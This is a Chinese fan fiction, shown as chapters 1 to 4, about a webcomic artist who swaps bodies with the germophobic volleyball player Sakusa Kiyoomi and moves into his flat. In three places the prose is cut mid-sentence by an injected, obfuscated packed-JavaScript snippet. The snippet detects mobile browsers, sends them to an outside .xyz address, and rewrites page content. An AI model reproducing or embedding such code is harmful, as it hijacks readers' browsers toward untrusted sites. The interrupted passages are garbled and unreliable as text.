《和佐久早互换身体后》 1. 第 1 章 远藤由里是被闹钟吵醒的。 她觉得很奇怪,自从当了全职网络漫画作者之后,她就没再定过闹钟了。 她从床头柜上拿起手机,迷茫地看着屏幕。原来响起来的不是闹钟,而是一则来电。 这通电话没有备注姓名,但是她却觉得电话号码很熟悉。 她定睛看了几秒。 是她自己的电话。 由里大惊,手上一抖,手机差点被她摔到地上。她抓住了手机,电话也因为误触接通了。 “喂?”电话那边传来的是她自己的声音! “你是……”由里颤抖着问,随后发现自己的声音是一个男人的声音。 她环顾四周,自己正待在一个完全陌生的房间里。这个房间很大,陈设也非常讲究,房间里只有黑白灰三色,而整洁程度像医院的病房。 她发现这个房间里有浴室,于是迅速起身冲进去,镜子里果然出现了一个陌生男人的脸。 “我们……互换身体了?” 由里大惊失色,但还是迅速与电话那边的人交换了信息。他叫佐久早圣臣,是就职于MSBY黑狼俱乐部的排球运动员,和她一样住在宫城县,她所处的这间公寓就是他在仙台市的家。 情况大概交换完成,佐久早突然问:“你应该没有打排球的经历吧?” “是的,不如说从高中毕业后就根本没再运动过了。” “那麻烦你用我的手机帮我请假,请假的短信等一会我会发到我的……你现在拿着的这部手机上,帮我转发给教练。”佐久早说,“我们能不能见面详谈一下?我可以现在回我家去找你。” “当然……”由里也跟着看了看手机上的时间,然后深吸了一口气,“恐怕得我去找你。” “有什么问题吗?” “今天是我的截稿日,如果赶不上我就完蛋了。” 佐久早在她看不到的地方蹙了蹙眉,今天是截稿日,她竟然今天还没有画完稿子,用自己的声音说出如此缺乏规划的事实真让人无法接受。 但是他不想管一个和自己毫无关系的漫画新人的闲事,眼下有比这些更要紧的大事要办,于是他说:“我知道了,出门麻烦帮我戴上口罩。” 戴上口罩?他感冒了吗?由里觉得身体并没有什么不舒服的地方,但是既然身体的原主有要求她也没有理由不接受:“我明白了,等会见。” 佐久早很快就把请假的短信编辑好发过来了,还顺便补充了几条:“刚才忘记说了,麻烦帮我刷牙,出门带上酒精湿巾,还有拜托不要用我的身体挤早高峰的地铁,我受不了那么多细菌。我的钱包在书桌上,你可以直接拿里面的钱打车。” 看来他不是生病了,而是有点洁癖啊。 由里一边刷牙一边照镜子,这具身体的原主长得还挺帅,头发是黑色的卷发,不知道是烫的还是天生的,眉上有两颗痣,非常特别。 虽然佐久早穿的睡衣质感超级好,但毕竟她不能让知名球星穿着睡衣出门,于是由里打开了佐久早的衣柜,然后被震撼到了。 这个男人根据星期一到星期日分别安排好了穿搭,整整齐齐地叠好放在了衣柜里。今天是星期二,前一天的衣服不见了,可能穿完被他拿去洗了。 由里脱掉衣服,再次感到了震撼。她在美术大学读了四年,不是没画过裸模,况且事出有因,她并不觉得在这种情况下看到佐久早的身体有什么大不了的,但是…… 他的身材好得是不是有点离谱了? 运动员的身体实在是太了不起了,如果她能画这种模特,那她对肌肉走势的理解一定会突飞猛进吧。这样她在画同人本的时候得多顺手啊。 时间不等人,她得快点去找佐久早商量怎么办,由里停止了观赏,按他说的一一做好,戴上口罩出门了。 坐在出租车上,她开始出神。明明什么都没做,怎么会和不认识的人互换身体?自己的画稿还可以自己亲自过去画,可是佐久早的训练怎么办呢? 她搜查了资料,发现佐久早从初中起就是圈内非常有名的排球选手了,高中时就进入了国青队,现在的他不仅是V联盟种子球队的职业选手,更是国家队的首发队员,也就只有她这种对运动一窍不通的人才会不知道。 如果身体不能换回来的话,难道佐久早选手的职业生涯就要断送在她手里了……不行不行,绝对不行。由里摇摇头把杂念从脑子里甩出去。 作为新人作者,由里才刚赚到稿费不久,处处都要节俭一些,所以租房也没有租在仙台市内,车开了一个多小时才回到由里的出租屋。 佐久早的身体实在太高大了,开门的时候由里发现她要低着头看自己的原身,还真让人不适应。 由里睡觉的时候只穿了一件短袖上衣,没有穿裤子,看来佐久早设法从她随手乱扔的那堆衣服里给她找到了一条裤子,想到对方被迫呆在自己乱糟糟的房间里,由里有点不好意思。 佐久早则透过由里的眼睛审视了自己的身体一番,最后得出结论:“你不会刮胡子对吧?” 别说会不会了,她想都没想到起床后还有这个必备动作。 “你有剃须刀吗?”佐久早问。 “电动的没有,酒店那种一次性的倒是有一个。” 佐久早又皱了皱眉——由里觉得看见自己的脸上露出那么严肃的表情有点好笑。 “那你坐一下。”佐久早说,他借了点由里的润肤露,要求她涂到脸上。 “你对自己的身体也有洁癖吗?”由里看着佐久早给自己的身体带上一次性手套。 “现在我的身体是你在里面。”佐久早可能意识到自己有点刻薄,补充道,“我的意思是我们的菌群暂时不属于我们自己了,没有说你脏的意思。虽然你房间的陈设确实充满了无序性,但是清洁度还没那么让人难以忍受。” “好吧。”由里在心里暗叫了一声洁癖君,随后坐好不动,等着佐久早来给她刮胡子。 “早安由里酱!你今天这么早就起来啦!” 由里猛然想起她没跟佐久早说过她是跟人合租的房子。佐久早看起来很受不了待在别人的家里,想来也没到处乱转,所以很可能没发现这座房子里还有一个人。 她的担忧是对的,由于意料之外的响声,佐久早大惊并绊倒了。他的手里还拿着剃须刀,如果直直地倒下去会划伤由里的脸,所以他在千钧一发之际伸长了手,剃须刀掉到了沙发后面。 而由里亲到了佐久早的嘴上。 由里……亲到了……佐久早? 由里睁大眼睛,她面前的分明是刚才坐到沙发上的佐久早的身体,她垂头看向自己的手,右手有很明显的被笔磨出来的茧子,这是一只画画的手。 佐久早也在一脸惊愕地看着她。 他们换回来了。 惊讶之余,由里想起房间里还有一个人呢:“小雪……事情不是你想的那样……” 小雪瞠目结舌地看看她,又看看佐久早:“男……男朋友啊?” “小雪,我不应该带异性回到我们的公共空间的,我真的很抱歉,但是我今天确实有苦衷,你先去赶地铁,我等会发消息跟你解释行吗?” 小雪说:“由里酱……没关系的,你一直都是一个很好的舍友,我知道你不是那种谈了恋爱就会在房子里乱搞的人,我支持你。” “我真的没有……” 佐久早气若游丝地说了声:“那个……” 两个女人都看向他,后者一脸局促地被抵在沙发上说:“你能先从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14548952|155345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我腿上下去吗?” 由里犹如弹簧一般从他身上弹了起来。 小雪也十分礼貌地移开了视线:“那你们忙,我先上班去了。” 门被关上,留下由里和佐久早两个人和尴尬的空气。 “我们换回来了。”由里试图假装无事发生。 “的确。”佐久早说,他也十分配合地没有提及接吻的事情。 “要喝点水吗?”由里问。 “不用了,”佐久早说,“你不是还有事情吗?我现在回去也还能赶得上训练。” “对喔,那刮胡子的事情……”由里想起剃须刀已经掉在地上了,佐久早大概无法忍受吧。 “没事,既然已经请假了,我回去刮了胡子再去训练也来得及。” 尽管由里坚持不用,佐久早还是帮她收拾了剃须刀和附近的一小块地板。由里意识到他可能不是出于礼貌,而是他的洁癖不允许他放任不管,所以最后也就由着他做了。 最后由里送他到了门口:“那……再见?” “再见。” 好神奇的经历。 说是这么说,她和佐久早是两个世界的人,应该再也不会见面了吧。 那种像雕像一样的身体也没机会再画了。 虽然不知道是怎么回事,但是现在能够完成自己的稿子,也不会耽误佐久早训练,她松了口气。 谁知一觉醒来,她又躺在佐久早床上被电话吵醒了。 素净的配色,整洁的陈设,和自己毫无关系的房间。 由里叹了口气,接通了电话。 “远藤小姐,我发现你可能不太习惯早起,所以我擅自用你的身体回来才叫你起来。” “佐久早选手你人还挺好的。” “请别用我的身体说恶心的话,我只是不希望欠你什么。我还有三分钟到楼上,等你准备好了麻烦帮我开门。” 佐久早的身上还是整整齐齐地穿着全套睡衣。昨天事发突然,由里太紧张了,都没注意到他的睡衣和他的被子都散发着非常清爽的香气。 从任何地方都能轻易地看出来,洁癖君真的很爱干净。由里从床上爬起来,趁着这三分钟进行了洗脸刷牙,以便让佐久早看到自己的身体的时候别太不舒服。 由里打开门迎接了佐久早。 “佐久早君的衣品还怪好的。”由里平时买衣服只图舒服,基本上全是套上就行的基础款。佐久早还给她搭配了一下,不愧是把自己的衣服按天配好的男人。 佐久早说:“临近比赛我实在不能缺席训练,昨天我们可能已经找到了换回身体的方法,所以我想再试一次,可以吗?” “当然。”由里说,同时十分庆幸自己刚才刷牙了。 “你觉得那个方法是只要肢体接触就可以,还是……” 如果只是接触就可以,那由里也会更自在点,毕竟和一个刚认识一天的人接吻对他们两个来说都太具有刺激性了。 由里说:“我们先握个手试一下吧。” 运动队的人比赛时都会跟对手握手,洁癖如佐久早肯定也早就习惯了,两人立刻浅浅地握了一下指尖。 但是一切都没有任何变化。 佐久早叹了口气:“看来灵魂真的只能靠接吻传播。” 他说话总是这么像小说吗?由里在这种荒诞的情景下不自觉地笑了,幸好这也可以解读为尴尬的笑,所以佐久早没有对此感到奇怪。 由里说:“佐久早选手,我帮你刷牙了,你肯定也帮我刷了。那我们都坚持一下吧,很快就过去了。” 佐久早点了点头。 “圣臣,我要走了,你还没去俱乐部啊。”一个栗色头发的男人轻车熟路地推开佐久早家的门,然后被眼前的景象呛到了。 2. 第 2 章 穿着睡衣的圣臣,衣着整齐的女人,公寓门前的拥吻…… 男人的神情从僵化变成了惊奇,甚至这份惊奇里还有一丝……感动? 刚刚回到自己身体里的佐久早眨了眨眼睛,意识到发生了什么之后,他十分严肃地说:“元也,如果你敢说出去我就杀了你。” 被称为“元也”的男人听到死亡威胁,并没有任何愠色,反而热泪盈眶:“圣臣……我一直都很担心你……看到你能和女生交往,我真的好高兴……” 由里堂皇地看了看佐久早,后者脸上只有一副“你在说什么鬼东西”的不屑表情。 见佐久早不打算管他,她从自己的包里拿了一张面巾纸递给元也。元也哭得更厉害了:“谢谢,你真的是一个很善良的人啊,千万不要离开圣臣……我会一直站在你们这边的……” “我说如果你敢说出去……” “我不说,我不说,”元也用纸巾擦着脸连连点头,他的脸经历了惊讶和感动两种剧烈的情绪之后有点麻了,表情也变得有点滑稽,但他还在坚持着输出,显然对佐久早的社交情况有太多话可以说了,“我只会在心里偷偷祝福你们……对了圣臣,看来我年初给你求的姻缘非常奏效,我得去还个愿,还有……” 佐久早无言地撞上了门。 “他是……” “古森元也,EJP的自由人……也是我的表哥。” 原来他也是一位排球选手。看他哭得可怜,由里小心地说:“他……挺关心你的啊。” “他是替家里的长辈关心我的,所以才搬来跟我当邻居。”佐久早翻了个白眼,不再继续这个话题。他从鞋柜上的钱包里拿出了一些现金,递给由里:“这是我刚才来的路上打车的钱,还有你回去打车会用到的钱。” “我坐地铁回去就行了。” “你是居家工作的,如果不是因为我急着去训练从你家过来,你本来不需要花费时间通勤,我占用了你的时间,这点补偿是必须的。” “佐久早选手你真的很为别人着想啊。” “我说了别说那些恶心的话。” “你只说了别用你的身体说,可是这是我的身体。”由里这回发自真心地笑了笑,“那我就先回去了。” “等一下。”佐久早说,“远藤小姐,你介意加一下LINE吗?如果再发生这样的事情的话商量起来更方便一点。” 由里自己也牵涉其中,自然没有拒绝的理由:“没问题,你毕竟是个公众人物嘛,你放心的话我当然不介意。” 晚上,由里收到佐久早发来的信息。 【佐久早圣臣:明天是星期四,我上午休息,如果再交换的话,你可以睡到自然醒再和我联系。】 虽然由里这两天都是被佐久早的电话叫醒的,但是在他作息规律的身体里醒来根本就不觉得很累,反倒是每次换回自己的身体就会被困意袭击。 【远藤由里:好的,如果在我身体里醒来觉得很困的话也可以帮我再睡一会。】 佐久早很快回复。 【佐久早圣臣:那还是算了,坦白来说,我不想睡在你的房间里。】 …… 行吧。 既然他不肯帮自己多睡一会,那为了避免缺乏睡眠影响一整天的状态,还是她自己早点睡吧。 由里又赶了一小会稿子,就收工准备洗洗睡了。 来到浴室,解开内衣扣的时候,她突然倒吸了口冷气。 佐久早正躺在床上在脑内复盘今天的练习赛情况,放在旁边的手机突然又震动了起来。 没什么人会这么晚了还给他发消息,他有点奇怪地用面容解锁打开了屏幕。 【远藤由里:今天……】 【远藤由里:你给我穿的内衣啊?】 【远藤由里:你没摸我吧?】 【佐久早圣臣:……】 【佐久早圣臣:没有。】 【远藤由里:明天还是我回我家去找你吧。】 【远藤由里:如果再交换的话。】 【佐久早圣臣:好。】 佐久早回忆起今天早上的事情,他只是着急回去训练,虽然衣服穿得有点生涩,但是他确实没乱动。 该不会穿得有什么不对吧? 但是由里早上还说他衣品挺好来着,换回原身也没觉得她有哪里不舒服。 他有点犹豫要不要发消息再问一下,但是对方都没继续追究他什么,问得太多好像也有点冒犯。 况且说不定睡过今天一切就会恢复正常,也不会再见到她了。 佐久早最终还是没有继续这个话题。 一觉醒来,事情毫无好转的迹象,由里又躺在佐久早的被子里了。 她看了看手机时间,和平时佐久早打电话来的时间差不多,看来这回她的作息调整得挺成功的。 她用佐久早的手机给自己的手机发消息。 【佐久早圣臣:佐久早君,我起来了。】 那边很快就显示“已读”了。 【远藤由里:早。】 【远藤由里:冰箱里有我做的煮鸡蛋和全麦三明治,如果你饿了可以吃。】 【佐久早圣臣:哎?可是你做的饭你都不能亲口吃,这多不好意思,要不还是等你回来吃吧。】 【远藤由里:没事,本来就是怕你起太晚了不能按时吃饭,影响我的肠胃健康。】 【佐久早圣臣:所以专门给我做的?】 【远藤由里:可以这么说。】 【佐久早圣臣:佐久早君真的太好了吧!】 【佐久早圣臣:我的冰箱里好像只有奶油甜甜圈可以当早餐了。】 【佐久早圣臣:但是佐久早君可以吃甜食吗?】 【远藤由里:不用了,我想吃得干净一点。】 【佐久早圣臣:好吧更正一下,佐久早君真的是时好时坏啊。】 【远藤由里:你为什么一直在给我发消息?不是有很多事情要做吗?】 【佐久早圣臣:我一直都在做事情啊,刚才洗漱过了,现在都在等着三明治加热了。】 【远藤由里:你做事的时候还会回消息?】 【佐久早圣臣:你吃饭的时候不玩手机吗?】 【远藤由里:不啊。】 【远藤由里:不管做什么事情都一心一意比较好。】 【佐久早圣臣:哇哦佐久早君在一心一意地跟我聊天。】 【远藤由里:……】 佐久早不说话了。 由里开始吃他准备的早饭。虽然佐久早刚刚挑剔了她的饮食习惯, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14548953|155345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但是不得不说他自己做的饭确实又健康又好吃。由里一边吃一边观察他的厨房,光是目之所及之处就有不同种类的量杯,甚至还有一个烘焙电子秤。 他真是一个像精密的仪器一样生活的人。 怪不得在传闻中他是永远都处在稳定的竞技状态的可靠球员。 “真了不得啊。”由里感叹着,一点面包碎渣从她手里滑落,她惊呼一声,赶紧把他光洁如新的地板擦干净了。 【佐久早圣臣:佐久早君,我出发了。你最好先别出房间,小雪今天要上班,可能差不多这个时间就该出门了。】 【佐久早圣臣:如果你觉得无聊的话可以看一会我书架上的书。我很爱护它们的,它们都不脏。】 【远藤由里:好的,谢谢。】 由里最喜欢书和漫画,虽然出租屋很小,但她还是用漫画渐渐把它填得满满当当,她的书架上既有严肃文学,也有精美的插画集,既有时下流行的周刊漫画,也有从漫展上辛苦排队淘来的…… 由里深吸了一口气。 【佐久早圣臣:佐久早君,你现在在看什么呢?】 【远藤由里:《在失乐园初尝禁果的那一夜》,应该是关于英国文学的书吧,怎么了?】 【佐久早圣臣:!!!】 【佐久早圣臣:我求你换一本吧。】 【远藤由里:?】 过了一小段时间。 【远藤由里:知道了。】 知道什么了啊? 佐久早圣臣看起来是一个懂得尊重别人隐私的人,毕竟他恨不得所有人都离他十米远。 但是刚才是自己让他看的,只要他有正常的阅读速度,恐怕…… 由里有点不想面对他了。 显然佐久早也不是很想面对她,虽然这已经是第三次互换身体了,但他对于人与人之间的细菌交换还是有着极大的心理障碍。 由里和佐久早并肩坐在了沙发上,由里轻声鼓励他:“加油,佐久早君,你就想着是你亲了自己一下,没有什么细菌不细菌的。” 佐久早用由里的声音冷淡地说:“你快闭嘴吧。” “你放心吧,我肯定不能张着嘴亲啊。”由里试图活跃一下气氛。 但佐久早只是叹了口气。 由里觉得自己可能把佐久早给念叨烦了,他的嘴唇撞到自己嘴唇上的时候嘴巴怪疼的。 星期四在交换回身体后相安无事地度过了。 星期五两人再次中招。佐久早照例赶回家领取完自己的身体后去训练,然后由里坐车回家赶稿。 星期六也未能幸免。 直到星期六晚上。 佐久早打来电话:“远藤小姐,我知道这可能有点冒昧,能不能请你暂时搬到我家附近住一个月,下个月我就要开始比赛了,每天通勤这么久实在有些影响我的状态。” 由里也有点头大:“我理解,可是佐久早选手,你家附近的房价实在太高了,我没有那么多存款,而且我租房的合同是按年签的,要是我提前退租押金就不退了。” 佐久早沉思了片刻:“或许你愿意搬到我家来住吗?” 由里瞠目结舌:“什么?” 佐久早以为她没听清,重复了一遍:“我说,你愿意搬到我家来住吗?” 3. 第 3 章 “如你所见我家的地理位置还算不错,相信不会影响你偶尔去编辑部,我家的卫生条件也很好,由于我今年才刚入住,设施也都是新的。如果你愿意的话,你可以不用付房租,这样就不会给你造成经济压力了,以及我保证不会随意进出你的房间——除非我们又互换了。” “不是……你能忍受我和你住在一个房子里?” “恕我直言,我更不能忍受醒来发现自己住在你的房子里,你的卫生水平还算可以,但是屋子实在太乱了。如果你住在我的家里,我至少走两步就能回到我整洁的私人空间。” “你说话挺狠的啊。” “我只是实话实说。” 由里同意了,她本来想既然佐久早不收自己的房租,她可以出个水电费,但是佐久早以一整个月都需要她早起为由拒绝了。 只需要早点起就可以包住,如果这是一份工作的话佐久早老板也太大方了。 佐久早只有周日一天是全天休息,进入新赛季休息的时间就更少了。事不宜迟,他决定开车去由里家帮她搬东西。 “原来佐久早君有车啊。”由里坐到车上,被佐久早要求使用酒精喷雾消毒。 “因为我需要私人空间。”也是,对于洁癖君来说这很正常。在他的眼里,大概所有人都是巨大的细菌吧。 佐久早长得又帅,挣得又多,但是听古森的话来说,他可能还没交过女朋友。 由里觉得这很正常,他受不了任何人,同时其他人可能也受不了情到浓时亲他一口会被反复确认是否刷了牙。 如果没刷牙的话,说不定佐久早会一边给对方灌漱口水一边用酒精湿巾清洁自己的脸。 想到这里,由里忍不住笑了。 佐久早启动了车,瞟了她一眼:“怎么了?” 由里没法说在偷偷编排他的坏话呢,只好说她想起了最近看的漫画。 佐久早没看过什么漫画,简短地“嗯”了一声就没再追问下去了。 小雪今天不上班,自告奋勇也来帮忙。 由里本来还能试图挣扎一下,但是交换身体这样荒诞的事情实在是无法解释清楚,现在自己要搬到佐久早家里去,佐久早还亲自来陪她搬东西,解释也是越描越黑。 佐久早表示了理解,毕竟他对古森的误解也一样无话可说。 但小雪是真心为她高兴,甚至激动地问佐久早:“佐久早选手,你会公开你和由里的恋情吗?” 由里紧张地拉了拉小雪的袖子,不管怎么说,这样的问题也太冒昧了。 佐久早戴着口罩和手套,正搬着由里收拾出来的箱子准备下楼,露在外面的眼睛眨了眨,平静地回答:“我会等我们的关系进入下一阶段,经过慎重的考虑再让她出现在大众的视野里。” 没想到直来直去的佐久早选手这么会撒谎。 看到她傻眼的样子,佐久早走到她身边的时候轻轻笑了笑,声音微不可察。 小雪感动极了,趁佐久早下楼装箱抱住由里偷偷说:“虽然佐久早选手看起来是个负责任的好男人,但是如果他对你不好你还是可以随时回来,我是你坚强的后盾。” “谢谢你,小雪,”由里被她勒得喘不过气来,“但是我没退租,我本来就会回来的。” 由里只带了应季的衣服,其实没有太多东西,但是搬绘画的设备搬得她胳膊酸痛。 而身体强健的佐久早还是面色如常地开着车,丝毫不受影响。 由里一边揉着胳膊一边说:“刚才谢谢你,我没想到小雪会那么问,我应该提前跟她说一下的。” “没事,她和元也一样都是爱管闲事的人。元也虽然有点烦人,但是没有什么坏心。我觉得小雪小姐也是。” 那你还把古森选手关在门外。由里有点好笑:“不过我没想到佐久早君还挺会说谎的。” “我没有说谎,那些都是我的真心话。” 由里有些诧异地看了看他。 “我并没有考虑过建立亲密关系的事情,但如果未来开始考虑的话,也一定是在和对方谨慎讨论之后才会公开。我没有骗她。” 这么一说的确如此,他是坦白了自己的恋爱观,但没说他的恋爱对象是谁啊。 “佐久早君不仅擅长运动头脑也很聪明啊……”由里感叹道,“等一下,为什么你叫我远藤叫她小雪?” 佐久早白了她一眼:“你没告诉我她姓什么。” 两个人扛着大包小包回到了佐久早的公寓里,佐久早径直走向了主卧。由里只认识主卧,没有不经允许踏足过其他的房间,直到跟着他走进去才觉得有点奇怪:“佐久早君,你的意思是让我睡主卧吗?” “客卧没有卫生间,你住在主卧方便一点。”佐久早家有两个卫生间,住在客卧的话洗漱都要经过公共区域,但住在主卧全都可以在房间里解决,确实方便又私密。 由里感动道:“佐久早君实在太贴心了,如果你以后有要帮忙的地方也一定要和我说。” 佐久早被她的话呛了一声,把东西放下:“不用。” 由里独自把自己的物品开箱放进新房间,她自己的房间有些乱,但也是因为出租屋的面积太小,收纳空间也很少,佐久早的房间很宽敞,加上由里十分爱护,新房间比之前整齐多了。 没过多久,佐久早突然敲了敲门。 佐久早犹豫了一下,说:“其实我确实有一件事情想问问你的意见。” 由里受宠若惊:“请说。” “远藤小姐既然是网漫作家,应该有自己的公开社交账号吧?” “当然。”她说。 “或许……就是那个……你对运营公开账号的方法有什么建议吗?”佐久早说,“本来只是因为俱乐部要求才建立了公开账号,但至今也只是转发品牌方的推文,没有发布过什么东西。但是……” “但是?” “经理要求我们定期发布一些动态,让数据活跃起来,我做不到。” 由里再次跟佐久早并排在沙发上正襟危坐。 为了帮助佐久早找到合适的运营方向,由里决定先参考一下他的队友都是怎么做的。 由里打开了一个名叫“宫侑”的选手的账号主页。 该选手的主页除了照片就是照片,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14548954|155345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更衣室的对镜自拍,在赛后跟队友和对手的自拍,在家和双胞胎兄弟的自拍,在假期出游时的自拍,在商场戴着奇怪眼镜拍的大头贴自拍。只有几条不是自拍,分别是媒体发布的一些宫侑选手他拍,以及粉丝剪辑的宫侑选手帅气发球集锦。 “宫侑选手确实好帅啊。”由里说。 “我不是让你看这个的。”佐久早说。 “佐久早君也很帅啊,你发几张自拍肯定也能火。” “我讨厌照相。” “喔……那看看下一个吧。” 由里翻到了下一位“木兔光太郎!!!!”选手的主页。 这位选手的主页虽然只有文字但是也吵得由里眼睛疼。 木兔选手几乎每天都会转发并回复粉丝赞美他的言论,恨不得粉丝夸一句他就要十倍奉还。甚至有一次粉丝只是说了“木兔选手的大腿真的是人类能练出来的吗我舔我舔”,他就长篇大论地回复了自己练腿用过的全部器械以及练习时举的具体重量。 有这个翻牌率哪个粉丝能不爱呢。但是要惜字如金的佐久早君做到这种程度简直是要了他的命。 “好吧,我们看看下一位。” 下一个选手叫“日向翔阳”,名字后面还加了一个小太阳的表情。 日向选手活脱脱是一个自律博主,他把公开账号当成排球日记在发,什么“跑步上班里程记录”、“今日训练打卡”、“我的运动歌单分享”可以说是应有尽有。粉丝们显然也把他当成自己努力的动力,纷纷评论“我关注的励志博主又更新啦”,“因为有翔阳的分享我才能坚持锻炼”, 最受欢迎的一个系列是“我VS影山,今天达成了386胜412败,下一次也会是我赢”。 “影山君是?” “AD的二传。” “那日向选手是直接公开挑战另一个俱乐部的选手?这样经理都没说什么吗?” “影山也会发和他的胜败记录,大家都习惯了。” 由里点开评论区,听取“哈”声一片。粉丝都在说“哈哈哈哈哈哈他们两个都只有自己赢了的时候才发这个也太好笑了吧”。 由里也跟着笑了。 想到自己还得给佐久早出主意,她正色道:“佐久早君肯定也会认真复盘自己的训练吧,虽然不一定要每次都发,但是偶尔记录一些想法也可以吧?” 佐久早沉默了一会:“但是我认为训练的感受是很私密的,我并不想发布在所有人都能看的地方。” 也对,由里在搜索佐久早相关的信息的时候,就觉得他是一个非常低调的人,几乎所有能看到的信息都是一些客观的条件,他没有在任何公开的地方表达过自己的主观感受。 “我只想专注于比赛,不过现在要考虑的东西确实比学生时代多多了。”佐久早叹了口气,放弃了求助,“好吧,不管怎么说麻烦你了。” 他站起身,由里却既没有动也没有说话,他垂首有点疑惑地看向她,发现后者正抬起头看自己。 她的眼睛里有星星在熠熠生辉。 “不是有那个吗?佐久早君和别人都不一样的地方。” 4. 第 4 章 “我和别人都不一样的地方……”佐久早说,“那不是有很多吗?我不聒噪,不会多管闲事,还对卫生状况很谨慎。” “为什么突然开始自夸了……”由里已经说得很温柔了,这岂止是自夸,感觉身边的人全都被这位阴暗孤僻的洁癖君扫射到了。 佐久早坐回她身边,歪过头看她:“这难道不是事实吗?” “虽然也没错……” “那这样就能找到可以发布的东西吗?” “不是……但也是?” 佐久早没说话,但挑了挑眉示意她继续,于是他的眉上痣也跟着动了动。 由里觉得他的眉上痣就像一个冒号,可惜他自己不爱说话,这个冒号后面只能跟着别人念出来的台词。 比如此时此刻就是她在滔滔不绝:“其实我们之前看到的每位选手都既展现了自己的特点,又和粉丝产生了很好的互动。宫选手长得很帅所以粉丝很喜欢看他的照片,木兔选手很热情所以能跟粉丝聊得有来有往,日向选手很努力所以鼓励到了粉丝们。所以佐久早选手和大家建立情感链接的方式是……” “给大家分享我的大扫除方法?” “是什么方法呢?” “拖地三次,冰箱断电清理一次,还有用酒精擦拭……” 眼看佐久早就要在脑内拖出二里地去,由里赶紧叫停了:“不……那个有点超过了。太……复杂的没办法用一条动态说清楚,你说是吧?” “那常用消毒水分享呢?” “也是差不多的情况。顺便一问佐久早君常用的消毒水是?” 佐久早带她到公共空间里的卫生间,打开了壁橱。 满满一柜子消毒水出现在了由里的眼前。 由里茫然地扫视着几乎涵盖了她能想到的所有品牌的,如同超市陈列柜一般的壁橱:“如果有一天佐久早君想开设消毒水博物馆,再考虑这个提案吧。” “你什么意思?”佐久早奇怪地看了她一眼,“这不是拿来看的,这是拿来用的,比如这款……” 由里好害怕一不小心佐久早就会开始全楼大扫除,急忙阻拦:“佐久早君,我们现在最重要的事情是一心一意地完成你的社交媒体运营任务。” “喔。”佐久早将消毒水放回了柜子里,语气甚至有些遗憾,“你现在也知道人应该一心一意地做事了?” “没错,这就是佐久早君能传递给粉丝的力量啊。”由里说。 佐久早将信将疑地看了看她:“只要说这句话就可以?” 由里摇摇头:“只靠一句话肯定是没办法一直有东西可发的。” “那要怎么办?” 由里神秘兮兮:“之前那个早饭,今天佐久早君也会再做吗?” 佐久早想了想:“今天不会做了,之前提前做好是为了让你吃的,但现在我可以等明天早上再做。” 由里作拭泪状:“佐久早君……居然专门为了我……” “是为了我的身体。”佐久早有点习惯她不时发出戏剧化的声音了,理都没理就继续问,“所以到底要怎么做?” “我们明天见分晓!” 虽然云里雾里,但是看她一副志在必得的样子,佐久早也就答应下来。 次日两人在餐桌上相对而坐。 佐久早看着手机上推文编辑的界面:“你说的能够和粉丝建立联系的方式就是发一张早饭的照片?” 由里说:“这你就不懂了吧?不是发一张照片,是发一组别有深意的三宫格照片。” 佐久早眯了眯眼睛。 由里指了指第一张图:“这是一张佐久早君起床时闹钟上的时间的照片。” 佐久早说:“这是你起床的照片,我平时根本就不需要设闹钟。” 由里说:“那也是用佐久早君的身体——那不重要!重要的是我希望大家可以看出佐久早君过着十分精细的生活!大部分人都是像我一样的普通人啊,看到具体的时间才会知道佐久早君起得很早,而且每天都可以准时起床。” 虽然拍这张照片主要是为了传递信息,但是她做的并不只是拿起来就拍。她特意起来把窗帘拉开一条大小合适的缝隙,让清晨的阳光勾勒出床头柜上闹钟的轮廓,在这样的情境下才按下快门,足足拍了十几张才选出了这张合适的。 简单的陈设在光影的修饰下变得充满了温暖的生活感。由里非常满意。 “好吧,那第二张呢?” “这是佐久早君在制作早餐的照片,因为你不喜欢露脸,所以只拍了手部的动作,这恰恰是最重要的一张。” 佐久早在做饭的时候,由里觉得厨房的顶灯颜色太冷,拍不出食物的美味,于是她一边举着暖色的台灯一边拍下来了这张图。 虽然佐久早本来就非常有名,不需要额外做这么多也可以获得关注,但是她想做得尽善尽美,就像佐久早本人做事的风格一样。 由里越看越满意,就得是这种漂亮的图才配得上洁癖君一尘不染的精细生活。 佐久早仔细看着屏幕上的图片:“为什么?” 由里解释:“因为现在大家都很忙,会如此细心地对待每一天的食材的人其实非常少,但是这张图证明了这样精细漂亮的饭是佐久早君亲自完成的。佐久早君虽然有很多训练,但是还是会一心一意地维系着生活的秩序感,大家看到肯定都会羡慕这样的生活的。” “说得倒是头头是道的。” 得到肯定的答案,由里满意地笑了:“而且佐久早君的手很好看,这可是重中之重!” 